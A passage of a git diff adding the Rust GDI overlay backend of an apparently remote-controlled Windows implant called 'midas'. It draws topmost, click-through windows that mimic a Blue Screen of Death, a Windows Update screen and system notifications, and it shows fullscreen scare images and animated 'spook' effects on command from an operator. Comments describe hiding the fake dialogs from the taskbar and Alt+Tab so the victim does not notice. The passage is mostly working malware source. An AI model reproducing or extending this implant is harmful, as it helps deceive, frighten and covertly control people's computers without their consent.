+                let index = row + (sx as usize) * 4;
+
+                // Straight alpha, so the source is premultiplied here and then
+                // scaled by the overlay opacity in the same step.
+                let alpha = ((source[index + 3] as f32 * opacity).round()).clamp(0.0, 255.0) as u32;
+                if alpha == 0 {
+                    continue;
+                }
+
+                let premultiply = |straight: u8| -> u32 { straight as u32 * alpha / 255 };
+                let (sr, sg, sb) = (
+                    premultiply(source[index]),
+                    premultiply(source[index + 1]),
+                    premultiply(source[index + 2]),
+                );
+                let inv = 255 - alpha;
+
+                let at = (y as usize) * (self.width as usize) * 4 + (x as usize) * 4;
+                unsafe {
+                    let dst_ptr = self.bits.add(at);
+                    let dr = *dst_ptr as u32;
+                    let dg = *dst_ptr.add(1) as u32;
+                    let db = *dst_ptr.add(2) as u32;
+                    let da = *dst_ptr.add(3) as u32;
+
+                    *dst_ptr = (sr + dr * inv / 255).min(255) as u8;
+                    *dst_ptr.add(1) = (sg + dg * inv / 255).min(255) as u8;
+                    *dst_ptr.add(2) = (sb + db * inv / 255).min(255) as u8;
+                    *dst_ptr.add(3) = (alpha + da * inv / 255).min(255) as u8;
+                }
+            }
+        }
+    }
+
+    /// Hands the frame to the window manager for compositing.
+    pub fn present(&self, hwnd: HWND, origin: (i32, i32)) {
+        if self.dc.is_null() {
+            return;
+        }
+
+        let screen = unsafe { GetDC(std::ptr::null_mut()) };
+        if screen.is_null() {
+            return;
+        }
+
+        let destination = POINT {
+            x: origin.0,
+            y: origin.1,
+        };
+        let size = SIZE {
+            cx: self.width,
+            cy: self.height,
+        };
+        let source = POINT { x: 0, y: 0 };
+        let blend = BLENDFUNCTION {
+            BlendOp: AC_SRC_OVER,
+            BlendFlags: 0,
+            SourceConstantAlpha: 255,
+            AlphaFormat: AC_SRC_ALPHA,
+        };
+
+        unsafe {
+            UpdateLayeredWindow(
+                hwnd,
+                screen,
+                &destination,
+                &size,
+                self.dc,
+                &source,
+                0,
+                &blend,
+                ULW_ALPHA,
+            );
+        }
+
+        unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
+    }
+}
+
+/// Splits a straight colour into premultiplied components.
+fn premultiplied(colour: Rgba) -> (u32, u32, u32, u32) {
+    let a = colour.a as u32;
+    (
+        colour.r as u32 * a / 255,
+        colour.g as u32 * a / 255,
+        colour.b as u32 * a / 255,
+        a,
+    )
+}
diff --git a/implants/midas/src/gdi/mod.rs b/implants/midas/src/gdi/mod.rs
new file mode 100644
index 0000000..c366399
--- /dev/null
+++ b/implants/midas/src/gdi/mod.rs
@@ -0,0 +1,471 @@
+//! The GDI overlay backend.
+//!
+//! This exists because the eframe backend cannot run everywhere. eframe needs a
+//! working OpenGL 3.2 implementation, and a target without one - a bare VM with
+//! 3D acceleration off, most obviously an RDP session - makes it fail during
+//! context creation, before the first frame, with a panic from inside glutin
+//! rather than an error anyone can read. On such a host every visual command
+//! would be dead, and so would most of the implant's point.
+//!
+//! Nothing here touches OpenGL. Each overlay is an ordinary top-level Win32
+//! window on its own thread with its own message loop, rasterised into a DIB and
+//! handed to the window manager for compositing. That is a different shape from
+//! the eframe backend - which needs a single shared event loop because winit
+//! allows only one per process - and it is the shape that works with no graphics
+//! driver at all.
+//!
+//! The trade is real and worth stating: this backend is a transcription, not a
+//! port. It draws the same layouts in the same colours with the system font, but
+//! it has no rounded corners, no subpixel layout and no GPU. On a machine where
+//! eframe does work, eframe is still preferred; see `gui::sender`.
+
+mod api;
+mod canvas;
+mod paint;
+mod text;
+
+use std::cell::RefCell;
+use std::mem::MaybeUninit;
+use std::sync::atomic::{AtomicBool, Ordering};
+use std::sync::mpsc::Receiver;
+use std::sync::Arc;
+use std::time::{Instant, SystemTime};
+
+use api::*;
+use canvas::Canvas;
+use paint::Content;
+use text::TextRenderer;
+
+use crate::gui::{
+    current_stop_epoch, record_host_failure, register_active, unregister_active, Active, Overlay,
+    Request,
+};
+
+/// The window class every overlay window is registered under.
+const CLASS_NAME: &str = "midas-overlay";
+
+/// How often a still overlay redraws.
+///
+/// Nothing else repaints a topmost window, so this is only about recovering if
+/// something is drawn over it while the overlay sits at normal level - and about
+/// honouring a `stopall` promptly. Once a second is ample.
+const STILL_FRAME_MS: u32 = 500;
+
+/// Fallback desktop size if the shell has not reported a usable screen.
+const FALLBACK_SCREEN: (i32, i32) = (1920, 1080);
+
+thread_local! {
+    /// What the window procedure needs in order to decide a timer tick means
+    /// "time to go".
+    ///
+    /// Thread-local rather than `SetWindowLongPtr`, because each window thread
+    /// owns exactly one window and dispatches its own messages: the association
+    /// is guaranteed by construction rather than maintained by hand. The
+    /// procedure is deliberately kept free of drawing, so this never has to
+    /// borrow the canvas and cannot deadlock against the loop body.
+    static LIFETIME: RefCell> = const { RefCell::new(None) };
+}
+
+struct Lifetime {
+    cancel: Arc,
+    deadline: Option,
+}
+
+impl Lifetime {
+    fn expired(&self) -> bool {
+        self.cancel.load(Ordering::SeqCst)
+            || self.deadline.is_some_and(|deadline| Instant::now() >= deadline)
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Dispatcher
+// ---------------------------------------------------------------------------
+
+/// The host thread. Blocks on the request channel for the life of the process.
+pub(crate) fn run(rx: Receiver) {
+    // Without this, a 1920x1080 window on a 150% display is virtualised to
+    // 1280x720 and covers three quarters of the screen. Set once per process; if
+    // the eframe backend already got here first this fails harmlessly.
+    unsafe { SetProcessDPIAware() };
+
+    let class: Vec = wide(CLASS_NAME);
+
+    let registered = unsafe { RegisterClassExW(&window_class(&class)) };
+    if registered == 0 {
+        record_host_failure("the overlay window class could not be registered".to_string());
+        return;
+    }
+
+    while let Ok(request) = rx.recv() {
+        // A stop that landed between submission and this drain wins. See the
+        // STOP_EPOCH note in gui/mod.rs.
+        if request.epoch < current_stop_epoch() {
+            continue;
+        }
+
+        let class = class.clone();
+        // Detached: each window winds itself down through its own deadline and
+        // cancel token, and nothing on the check-in thread waits for it.
+        let _ = std::thread::Builder::new()
+            .name(format!("midas-ovl-{}", request.id))
+            .spawn(move || serve(request, class));
+    }
+
+    unsafe { UnregisterClassW(class.as_ptr(), std::ptr::null_mut()) };
+}
+
+// ---------------------------------------------------------------------------
+// One overlay
+// ---------------------------------------------------------------------------
+
+/// Creates and runs a single overlay window.
+///
+/// The registry entry is cleared here rather than at the end of the window's
+/// life, so that a bug in the rasteriser cannot leave `listoverlays` reporting
+/// an overlay with no window behind it. The eframe backend has to clear its
+/// ghosts explicitly for the same reason, and this is where the equivalent
+/// guarantee lives on the GDI side.
+fn serve(request: Request, class: Vec) {
+    let id = request.id;
+
+    let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
+        serve_window(request, class)
+    }));
+
+    unregister_active(id);
+}
+
+fn serve_window(request: Request, class: Vec) {
+    // Every fallible step bails through here so the registry is never left
+    // holding an overlay that has no window behind it.
+    let fail = |reason: String| {
+        crate::log::log(&format!("overlay {} failed: {reason}", request.id));
+        unregister_active(request.id);
+    };
+
+    let Some(mut text) = TextRenderer::new() else {
+        fail("GDI would not allocate a drawing surface".to_string());
+        return;
+    };
+
+    let content = match prepare(&request) {
+        Ok(content) => content,
+        Err(e) => {
+            // Paths are checked before the ack is sent, so reaching here means the
+            // file became unreadable, or stopped being a decodable image, in
+            // between.
+            fail(e);
+            return;
+        }
+    };
+
+    let screen = crate::gui::win::screen_size()
+        .map(|(w, h)| (w as i32, h as i32))
+        .unwrap_or(FALLBACK_SCREEN);
+
+    let geometry = content.geometry(screen, &mut text);
+
+    let mut ex_style = api::WS_EX_LAYERED | api::WS_EX_TOOLWINDOW | api::WS_EX_NOACTIVATE;
+    if geometry.topmost {
+        ex_style |= api::WS_EX_TOPMOST;
+    }
+
+    let hwnd = unsafe {
+        CreateWindowExW(
+            ex_style,
+            class.as_ptr(),
+            std::ptr::null(),
+            api::WS_POPUP,
+            geometry.x,
+            geometry.y,
+            geometry.width.max(1),
+            geometry.height.max(1),
+            std::ptr::null_mut(),
+            std::ptr::null_mut(),
+            module_handle(),
+            std::ptr::null_mut(),
+        )
+    };
+
+    if hwnd.is_null() {
+        fail("the overlay window could not be created".to_string());
+        return;
+    }
+
+    let Some(canvas) = Canvas::new(geometry.width, geometry.height) else {
+        unsafe { DestroyWindow(hwnd) };
+        fail("GDI would not allocate a drawing surface".to_string());
+        return;
+    };
+
+    let deadline = request.duration.map(|d| Instant::now() + d);
+
+    LIFETIME.with(|cell| {
+        *cell.borrow_mut() = Some(Lifetime {
+            cancel: request.cancel.clone(),
+            deadline,
+        })
+    });
+
+    register_active(Active {
+        id: request.id,
+        label: request.kind.label(),
+        born: SystemTime::now(),
+        deadline,
+        cancel: request.cancel,
+    });
+
+    // The timer is the only thing that drives the message loop, so it is also the
+    // only thing that will ever end this overlay or animate it. A failure here
+    // means the overlay stays up until `stopall`, which is worth saying out loud
+    // rather than leaving the operator to wonder.
+    let cadence = if content.animated() {
+        paint::SPOOK_FRAME_MS
+    } else {
+        STILL_FRAME_MS
+    };
+
+    if unsafe { SetTimer(hwnd, TIMER_ID, cadence, std::ptr::null_mut()) } == 0 {
+        crate::log::log(&format!(
+            "overlay {}: could not start its repaint timer, it will stay up until stopall",
+            request.id
+        ));
+    }
+
+    let mut surface = Surface {
+        canvas,
+        text,
+        content,
+        origin: (geometry.x, geometry.y),
+        started: Instant::now(),
+        seed: request.id,
+    };
+
+    // The first frame is drawn before the pump starts so the window appears at
+    // once rather than up to a tick later.
+    surface.draw(&hwnd);
+    unsafe { ShowWindow(hwnd, SW_SHOWNOACTIVATE) };
+
+    loop {
+        let mut message = MaybeUninit::::uninit();
+        let result = unsafe { GetMessageW(message.as_mut_ptr(), std::ptr::null_mut(), 0, 0) };
+
+        // Zero is `WM_QUIT` from the `WM_DESTROY` handler, negative is an error.
+        // Either way there is no more to dispatch.
+        if result <= 0 {
+            break;
+        }
+
+        let message = unsafe { message.assume_init() };
+        let destroying = message.message == WM_DESTROY;
+
+        unsafe {
+            TranslateMessage(&message);
+            DispatchMessageW(&message);
+        }
+
+        // The window is gone by the time `WM_DESTROY` returns, so there is
+        // nothing left to composite into.
+        if destroying {
+            break;
+        }
+
+        surface.draw(&hwnd);
+    }
+
+    unsafe {
+        KillTimer(hwnd, TIMER_ID);
+        DestroyWindow(hwnd);
+    }
+    surface.canvas.release();
+    LIFETIME.with(|cell| *cell.borrow_mut() = None);
+}
+
+/// Everything one overlay window needs in order to draw itself.
+///
+/// The window owns this for its lifetime, so the canvas and the scratch surface
+/// inside the text renderer are allocated once and reused across frames.
+struct Surface {
+    canvas: Canvas,
+    text: TextRenderer,
+    content: Content,
+    /// Where the window sits, in screen coordinates.
+    origin: (i32, i32),
+    started: Instant,
+    /// Varies the procedural overlays between overlays, so two `spook` windows
+    /// are not identical.
+    seed: u64,
+}
+
+impl Surface {
+    /// Rasterises one frame and hands it to the window manager.
+    fn draw(&mut self, hwnd: &api::HWND) {
+        // A still overlay is drawn once and then not again, so its elapsed time
+        // is frozen at zero and an animation-based painter would show its first
+        // frame forever. Nothing repaints a topmost window, so this costs
+        // nothing to do honestly; a normal-level one is recovered by the
+        // still-frame timer if something is drawn over it.
+        let time = if self.content.animated() {
+            self.started.elapsed().as_secs_f64()
+        } else {
+            0.0
+        };
+
+        self.canvas.wipe();
+        self.content.draw(&mut self.canvas, &mut self.text, time, self.seed);
+        self.canvas.present(*hwnd, self.origin);
+    }
+}
+
+const TIMER_ID: usize = 1;
+
+// ---------------------------------------------------------------------------
+// Window class and procedure
+// ---------------------------------------------------------------------------
+
+fn window_class(name: &[u16]) -> api::WNDCLASSEXW {
+    let instance = module_handle();
+    let cursor = unsafe { LoadCursorW(std::ptr::null_mut(), api::IDC_ARROW as *const u16) };
+
+    api::WNDCLASSEXW {
+        cbSize: std::mem::size_of::() as api::UINT,
+        style: api::CS_HREDRAW | api::CS_VREDRAW,
+        lpfnWndProc: window_procedure,
+        cbClsExtra: 0,
+        cbWndExtra: 0,
+        hInstance: instance,
+        // No icon: a fake system dialog that shows up in the taskbar or Alt+Tab
+        // would give the game away, which is what `WS_EX_TOOLWINDOW` prevents
+        // anyway.
+        hIcon: std::ptr::null_mut(),
+        hCursor: cursor,
+        // No background brush. Every pixel is written before the window is
+        // composited, and a brush would flash the window's garbage contents.
+        hbrBackground: std::ptr::null_mut(),
+        lpszMenuName: std::ptr::null(),
+        lpszClassName: name.as_ptr(),
+        hIconSm: std::ptr::null_mut(),
+    }
+}
+
+/// Handles only what the window needs. Everything else is left to Windows.
+///
+/// Notably there is no `WM_NCHITTEST` case: a layered window is hit-tested
+/// against its own alpha, so a `desktopnote` that is only opaque where its
+/// shadow and glyphs are already click-through, with no extra code.
+unsafe extern "system" fn window_procedure(
+    hwnd: api::HWND,
+    message: api::UINT,
+    wparam: api::WPARAM,
+    lparam: api::LPARAM,
+) -> api::LRESULT {
+    match message {
+        api::WM_TIMER => {
+            let expired =
+                LIFETIME.with(|cell| cell.borrow().as_ref().is_none_or(Lifetime::expired));
+            if expired {
+                DestroyWindow(hwnd);
+            }
+            0
+        }
+
+        // A layered window composites itself, so this should never arrive. If it
+        // does, the window manager wants the region marked valid or it will keep
+        // sending the message.
+        api::WM_PAINT => {
+            let mut paint = MaybeUninit::::uninit();
+            let dc = BeginPaint(hwnd, paint.as_mut_ptr());
+            if !dc.is_null() {
+                EndPaint(hwnd, paint.as_mut_ptr());
+            }
+            0
+        }
+
+        api::WM_DESTROY => {
+            PostQuitMessage(0);
+            0
+        }
+
+        _ => DefWindowProcW(hwnd, message, wparam, lparam),
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Preparation
+// ---------------------------------------------------------------------------
+
+fn prepare(request: &Request) -> Result {
+    match &request.kind {
+        Overlay::Image {
+            path,
+            mode,
+            topmost,
+        } => {
+            let (pixels, width, height) = paint::load_image(path)?;
+            Ok(Content::Image {
+                pixels,
+                width,
+                height,
+                mode: mode.clone(),
+                topmost: *topmost,
+            })
+        }
+
+        // A scare is just a fullscreen image; the sound half is played by the
+        // command layer so this side stays purely visual.
+        Overlay::Scare { path } => {
+            let (pixels, width, height) = paint::load_image(path)?;
+            Ok(Content::Image {
+                pixels,
+                width,
+                height,
+                mode: "fullscreen".to_string(),
+                topmost: true,
+            })
+        }
+
+        Overlay::Bsod { stopcode, percent } => Ok(Content::Bsod {
+            stopcode: stopcode.clone(),
+            percent: *percent,
+        }),
+
+        Overlay::Update { title, percent } => Ok(Content::Update {
+            title: title.clone(),
+            percent: *percent,
+        }),
+
+        Overlay::Toast { title, body } => Ok(Content::Toast {
+            title: title.clone(),
+            body: body.clone(),
+        }),
+
+        Overlay::Note { text, x, y, size } => Ok(Content::Note {
+            text: text.clone(),
+            x: *x as f32,
+            y: *y as f32,
+            size: *size as f32,
+        }),
+
+        Overlay::Spook { mode } => Ok(Content::Spook {
+            mode: mode.clone(),
+        }),
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Helpers
+// ---------------------------------------------------------------------------
+
+fn wide(text: &str) -> Vec {
+    text.encode_utf16().chain(std::iter::once(0)).collect()
+}
+
+/// The handle of the running image, needed by both the class and every window.
+///
+/// Not cached: a raw handle is neither `Send` nor `Sync`, so caching one would
+/// mean wrapping a pointer in an atomic to save a call that is already a lookup
+/// in the loader's own cache.
+fn module_handle() -> api::HINSTANCE {
+    unsafe { GetModuleHandleW(std::ptr::null()) }
+}
diff --git a/implants/midas/src/gdi/paint.rs b/implants/midas/src/gdi/paint.rs
new file mode 100644
index 0000000..ed80667
--- /dev/null
+++ b/implants/midas/src/gdi/paint.rs
@@ -0,0 +1,656 @@
+//! The painters, in GDI instead of egui.
+//!
+//! A deliberate transcription of `gui/overlay.rs` rather than a shared
+//! abstraction. egui positions everything in floats against a `Rect` and blends
+//! through a `Painter`; this positions in integers against a `Canvas` and
+//! composites premultiplied bytes. The two agree on layout, colour and copy, and
+//! nothing else, so a shared drawing layer would be an indirection over two
+//! backends that do not have a common representation to abstract.
+
+use super::canvas::{Canvas, Fit, Rect, Rgba};
+use super::text::{Style, TextRenderer};
+use crate::rng::Rng;
+
+/// Animated overlays redraw on this cadence. A full-rate repaint would peg a
+/// core for the lifetime of a `spook` overlay.
+pub const SPOOK_FRAME_MS: u32 = 50;
+
+/// The largest image dimension kept after decoding.
+///
+/// Not a texture limit - there is no texture here - but a bound on how much is
+/// held in memory and how many destination pixels a fullscreen blit touches. A
+/// prank image larger than this is downscaled, and 4K is already absurd for one.
+const MAX_IMAGE_DIM: u32 = 4096;
+
+/// Where and how big the overlay's window is.
+pub struct Geometry {
+    pub width: i32,
+    pub height: i32,
+    /// Top-left in screen coordinates.
+    pub x: i32,
+    pub y: i32,
+    /// Whether the window stays above everything else.
+    pub topmost: bool,
+}
+
+/// Decoded, ready-to-draw overlay state.
+pub enum Content {
+    Image {
+        pixels: Vec,
+        width: i32,
+        height: i32,
+        mode: String,
+        topmost: bool,
+    },
+    Bsod {
+        stopcode: String,
+        percent: i64,
+    },
+    Update {
+        title: String,
+        percent: i64,
+    },
+    Toast {
+        title: String,
+        body: String,
+    },
+    Note {
+        text: String,
+        x: f32,
+        y: f32,
+        size: f32,
+    },
+    Spook {
+        mode: String,
+    },
+}
+
+impl Content {
+    pub fn animated(&self) -> bool {
+        matches!(self, Content::Spook { .. })
+    }
+
+    /// Decides the window size and position.
+    ///
+    /// `screen` is the full desktop in pixels, and `text` is needed because the
+    /// notification and the desktop note are sized to their own content - the
+    /// same measurement has to happen before the window exists and again while
+    /// drawing into it, so it lives in one place.
+    pub fn geometry(&self, screen: (i32, i32), text: &mut TextRenderer) -> Geometry {
+        let (screen_w, screen_h) = (screen.0.max(1), screen.1.max(1));
+
+        match self {
+            Content::Image {
+                width,
+                height,
+                mode,
+                topmost,
+                ..
+            } => {
+                let size = match mode.as_str() {
+                    "fullscreen" => (screen_w, screen_h),
+                    "center" => (*width, *height),
+                    // `fit` is the only remaining mode, so it is the default arm.
+                    _ => ((*width as f32 * 0.7) as i32, (*height as f32 * 0.7) as i32),
+                };
+
+                let width = size.0.clamp(1, screen_w);
+                let height = size.1.clamp(1, screen_h);
+
+                Geometry {
+                    width,
+                    height,
+                    x: (screen_w - width) / 2,
+                    y: (screen_h - height) / 2,
+                    topmost: *topmost || mode == "fullscreen",
+                }
+            }
+
+            Content::Bsod { .. } | Content::Update { .. } | Content::Spook { .. } => Geometry {
+                width: screen_w,
+                height: screen_h,
+                x: 0,
+                y: 0,
+                topmost: true,
+            },
+
+            Content::Toast { title, body } => {
+                let lines = text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH);
+                let title_w = text.measure(title, TOAST_TITLE);
+                let body_w = lines
+                    .iter()
+                    .map(|line| text.measure(line, TOAST_BODY))
+                    .max()
+                    .unwrap_or(0);
+
+                let width = (title_w.max(body_w) + TOAST_PADDING * 2).clamp(64, screen_w);
+                let height =
+                    (TOAST_HEADER + lines.len() as i32 * TOAST_LINE_HEIGHT + TOAST_PADDING)
+                        .clamp(64, 320)
+                        .min(screen_h);
+
+                Geometry {
+                    width,
+                    height,
+                    // Bottom-right, inset by a margin, which is where a real
+                    // notification appears.
+                    x: (screen_w - width - TOAST_MARGIN).max(0),
+                    y: (screen_h - height - TOAST_MARGIN).max(0),
+                    topmost: true,
+                }
+            }
+
+            Content::Note {
+                text: body, x, y, size, ..
+            } => {
+                let style = Style::new(*size as i32);
+                let wrap_at = (screen_w as f32 * 0.7) as i32;
+                let lines = text.wrap(body, style, wrap_at);
+                let widest = lines
+                    .iter()
+                    .map(|line| text.measure(line, style))
+                    .max()
+                    .unwrap_or(0);
+
+                let width = (widest + NOTE_PADDING * 2)
+                    .clamp(64, (screen_w as f32 * 0.95) as i32)
+                    .max(1);
+                let height = ((lines.len() as f32 * size * 1.25) as i32 + NOTE_PADDING * 2)
+                    .max(*size as i32 * 2)
+                    .clamp(1, screen_h);
+                let height = height.max(1);
+
+                Geometry {
+                    width,
+                    height,
+                    x: (*x as i32).clamp(0, (screen_w - width).max(0)),
+                    y: (*y as i32).clamp(0, (screen_h - height).max(0)),
+                    topmost: true,
+                }
+            }
+        }
+    }
+
+    /// Paints one frame.
+    pub fn draw(
+        &self,
+        canvas: &mut Canvas,
+        text: &mut TextRenderer,
+        time: f64,
+        seed: u64,
+    ) {
+        match self {
+            Content::Image {
+                pixels,
+                width,
+                height,
+                mode,
+                ..
+            } => draw_image(canvas, pixels, *width, *height, mode),
+
+            Content::Bsod { stopcode, percent } => draw_bsod(canvas, text, stopcode, *percent),
+
+            Content::Update { title, percent } => draw_update(canvas, text, title, *percent),
+
+            Content::Toast { title, body } => draw_toast(canvas, text, title, body),
+
+            Content::Note { text: body, size, .. } => {
+                draw_note(canvas, text, body, *size as i32)
+            }
+
+            Content::Spook { mode } => draw_spook(canvas, text, mode, time, seed),
+        }
+    }
+}
+
+/// Decodes an image file into the raw RGBA the rasteriser draws.
+pub fn load_image(path: &str) -> Result<(Vec, i32, i32), String> {
+    let bytes = std::fs::read(path).map_err(|e| format!("{path}: {e}"))?;
+    let decoded = image::load_from_memory(&bytes)
+        .map_err(|e| format!("{path}: {e}"))?
+        .to_rgba8();
+
+    let (width, height) = decoded.dimensions();
+    if width == 0 || height == 0 {
+        return Err(format!("{path}: image has no dimensions"));
+    }
+
+    let decoded = if width > MAX_IMAGE_DIM || height > MAX_IMAGE_DIM {
+        let scale = MAX_IMAGE_DIM as f32 / width.max(height) as f32;
+        image::imageops::resize(
+            &decoded,
+            (width as f32 * scale).round() as u32,
+            (height as f32 * scale).round() as u32,
+            image::imageops::FilterType::Triangle,
+        )
+    } else {
+        decoded
+    };
+
+    let (width, height) = decoded.dimensions();
+    Ok((decoded.into_raw(), width as i32, height as i32))
+}
+
+// ---------------------------------------------------------------------------
+// Per-overlay painters
+// ---------------------------------------------------------------------------
+
+/// Toast metrics, shared between sizing the window and painting into it.
+const TOAST_PADDING: i32 = 14;
+const TOAST_TEXT_WIDTH: i32 = 320;
+const TOAST_HEADER: i32 = 40;
+const TOAST_LINE_HEIGHT: i32 = 18;
+const TOAST_MARGIN: i32 = 16;
+const TOAST_TITLE: Style = Style {
+    height: 14,
+    bold: true,
+    monospace: false,
+};
+const TOAST_BODY: Style = Style {
+    height: 13,
+    bold: false,
+    monospace: false,
+};
+
+/// Desktop note metrics.
+const NOTE_PADDING: i32 = 12;
+
+const WHITE: Rgba = Rgba::rgb(255, 255, 255);
+
+fn draw_image(canvas: &mut Canvas, pixels: &[u8], width: i32, height: i32, mode: &str) {
+    let (screen_w, screen_h) = (canvas.width, canvas.height);
+    let target = Rect::new(0, 0, screen_w, screen_h);
+
+    match mode {
+        "fullscreen" => {
+            // `cover`: fill the viewport and let the overflow crop. More
+            // dramatic than letterboxing, which is the point for a scare.
+            canvas.blit(pixels, width, height, target, Fit::Cover, 1.0);
+        }
+        "center" => canvas.blit(pixels, width, height, target, Fit::Exact, 1.0),
+        // `fit`: contain, and never upscale past 1:1, so a small image is not
+        // blown up into a blurry mess.
+        _ => {
+            let scale = (screen_w as f32 / width as f32)
+                .min(screen_h as f32 / height as f32)
+                .min(1.0);
+            let draw_w = (width as f32 * scale) as i32;
+            let draw_h = (height as f32 * scale) as i32;
+
+            canvas.blit(
+                pixels,
+                width,
+                height,
+                Rect::new(
+                    (screen_w - draw_w) / 2,
+                    (screen_h - draw_h) / 2,
+                    draw_w,
+                    draw_h,
+                ),
+                Fit::Exact,
+                1.0,
+            );
+        }
+    }
+}
+
+fn draw_bsod(canvas: &mut Canvas, text: &mut TextRenderer, stopcode: &str, percent: i64) {
+    let (w, h) = (canvas.width, canvas.height);
+    let centre_x = w / 2;
+    canvas.fill(Rgba::rgb(0, 0, 170));
+
+    // The frown, at roughly the height a real BSOD puts it.
+    let frown = Style::new(((h as f32 * 0.15) as i32).min((w as f32 * 0.15) as i32))
+        .monospace()
+        .bold();
+    text.draw_centred(canvas, ":(", centre_x, (h as f32 * 0.26) as i32 - h / 12, frown, WHITE);
+
+    let bar_w = (w as f32 * 0.26) as i32;
+    let bar_h = 18;
+    let bar_x = centre_x - bar_w / 2;
+    let bar_y = (h as f32 * 0.52) as i32;
+
+    canvas.fill_rect(
+        Rect::new(bar_x, bar_y, bar_w, bar_h),
+        Rgba::with_alpha(255, 255, 255, 45),
+    );
+    canvas.fill_rect(
+        Rect::new(bar_x, bar_y, bar_w * percent.clamp(0, 100) as i32 / 100, bar_h),
+        WHITE,
+    );
+
+    text.draw_centred(
+        canvas,
+        &format!("{percent}% complete"),
+        centre_x,
+        bar_y + bar_h + 22,
+        Style::new(17),
+        WHITE,
+    );
+
+    let body = Style::new(((w as f32 * 0.014) as i32).clamp(12, 22));
+    let pad = (w as f32 * 0.06) as i32;
+    let left = pad;
+    let right = w - pad;
+    let bottom = h - pad;
+    let line = ((body.height as f32 * 2.0) as i32).max(20);
+
+    // Stacked upwards from the bottom edge, matching the real layout.
+    let lines: [&str; 3] = [
+        "Your PC ran into a problem and needs to restart. We're just collecting some error info, and then we'll restart for you.",
+        "For more information about this error and possible fixes, visit",
+        "https://www.windows.com/werr",
+    ];
+
+    for (index, content) in lines.iter().enumerate() {
+        text.draw(
+            canvas,
+            content,
+            (left, bottom - (lines.len() as i32 - 1 - index as i32) * line - body.height),
+            body,
+            WHITE,
+        );
+    }
+
+    text.draw_right(canvas, "100% complete", right, bottom - body.height, body, WHITE);
+    text.draw_right(
+        canvas,
+        &format!("Stop code: {stopcode}"),
+        right,
+        bottom - 2 * line - body.height,
+        body,
+        WHITE,
+    );
+}
+
+fn draw_update(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, percent: i64) {
+    let (w, h) = (canvas.width, canvas.height);
+    let centre_x = w / 2;
+
+    canvas.fill(Rgba::rgb(24, 32, 48));
+    // A lighter band across the upper portion, which is enough to read as "this
+    // is a system dialog" rather than a plain coloured screen.
+    canvas.fill_rect(
+        Rect::new(0, 0, w, (h as f32 * 0.4) as i32),
+        Rgba::rgb(32, 48, 74),
+    );
+
+    let title_style = Style::new(((w as f32 * 0.026) as i32).clamp(20, 48));
+    text.draw_centred(
+        canvas,
+        title,
+        centre_x,
+        (h as f32 * 0.30) as i32 - title_style.height / 2,
+        title_style,
+        WHITE,
+    );
+
+    let sub = Style::new(((w as f32 * 0.013) as i32).clamp(12, 22));
+    text.draw_centred(
+        canvas,
+        "Please wait while your computer installs updates",
+        centre_x,
+        (h as f32 * 0.40) as i32 - sub.height / 2,
+        sub,
+        Rgba::with_alpha(255, 255, 255, 200),
+    );
+
+    let bar_w = (w as f32 * 0.3) as i32;
+    let bar_h = 8;
+    let bar_x = centre_x - bar_w / 2;
+    let bar_y = (h as f32 * 0.52) as i32;
+
+    canvas.fill_rect(
+        Rect::new(bar_x, bar_y, bar_w, bar_h),
+        Rgba::with_alpha(255, 255, 255, 40),
+    );
+    canvas.fill_rect(
+        Rect::new(
+            bar_x,
+            bar_y,
+            bar_w * percent.clamp(0, 100) as i32 / 100,
+            bar_h,
+        ),
+        Rgba::rgb(0, 120, 215),
+    );
+
+    let small = Style::new(((w as f32 * 0.012) as i32).clamp(12, 20));
+    text.draw_centred(
+        canvas,
+        &format!("{percent}% complete"),
+        centre_x,
+        bar_y + bar_h + 20,
+        small,
+        Rgba::with_alpha(255, 255, 255, 180),
+    );
+    text.draw_centred(
+        canvas,
+        "Do not turn off your computer",
+        centre_x,
+        h - (h as f32 * 0.12) as i32 - small.height / 2,
+        small,
+        Rgba::with_alpha(255, 255, 255, 150),
+    );
+}
+
+fn draw_toast(canvas: &mut Canvas, text: &mut TextRenderer, title: &str, body: &str) {
+    let (w, h) = (canvas.width, canvas.height);
+    let surface = Rect::new(0, 0, w, h);
+
+    canvas.fill_rect(surface, Rgba::rgb(43, 43, 43));
+
+    // A one-pixel border. Drawn as four thin rectangles because the rasteriser
+    // has no stroked primitive, and rounding is not worth the approximation.
+    let border = Rgba::with_alpha(255, 255, 255, 40);
+    canvas.fill_rect(Rect::new(0, 0, w, 1), border);
+    canvas.fill_rect(Rect::new(0, h - 1, w, 1), border);
+    canvas.fill_rect(Rect::new(0, 0, 1, h), border);
+    canvas.fill_rect(Rect::new(w - 1, 0, 1, h), border);
+
+    text.draw(
+        canvas,
+        title,
+        (TOAST_PADDING, 12),
+        TOAST_TITLE,
+        Rgba::rgb(120, 180, 255),
+    );
+
+    // The window was sized to the wrapped body in `geometry`, so this only
+    // truncates if the two disagree, which they should not.
+    let mut y = TOAST_HEADER;
+    let max_lines = ((h - y - 8) / TOAST_LINE_HEIGHT).max(1) as usize;
+
+    for line in text.wrap(body, TOAST_BODY, TOAST_TEXT_WIDTH).into_iter().take(max_lines) {
+        text.draw(
+            canvas,
+            &line,
+            (TOAST_PADDING, y),
+            TOAST_BODY,
+            Rgba::rgb(235, 235, 235),
+        );
+        y += TOAST_LINE_HEIGHT;
+    }
+}
+
+fn draw_note(canvas: &mut Canvas, text_renderer: &mut TextRenderer, body: &str, size: i32) {
+    let style = Style::new(size.max(1));
+    let lines = text_renderer.wrap(body, style, canvas.width - NOTE_PADDING * 2);
+    let step = ((size as f32 * 1.25) as i32).max(1);
+
+    // A transparent window over an arbitrary wallpaper, so a drop shadow is what
+    // keeps the text legible.
+    for (offset, colour) in [(2, Rgba::with_alpha(0, 0, 0, 190)), (0, Rgba::rgb(255, 236, 120))] {
+        let mut y = NOTE_PADDING + offset;
+        for line in &lines {
+            text_renderer.draw(
+                canvas,
+                line,
+                (NOTE_PADDING + offset, y),
+                style,
+                colour,
+            );
+            y += step;
+        }
+    }
+}
+
+fn draw_spook(
+    canvas: &mut Canvas,
+    text: &mut TextRenderer,
+    mode: &str,
+    time: f64,
+    seed: u64,
+) {
+    match mode {
+        "matrix" => draw_matrix(canvas, text, time, seed),
+        "scanline" => draw_scanline(canvas, time),
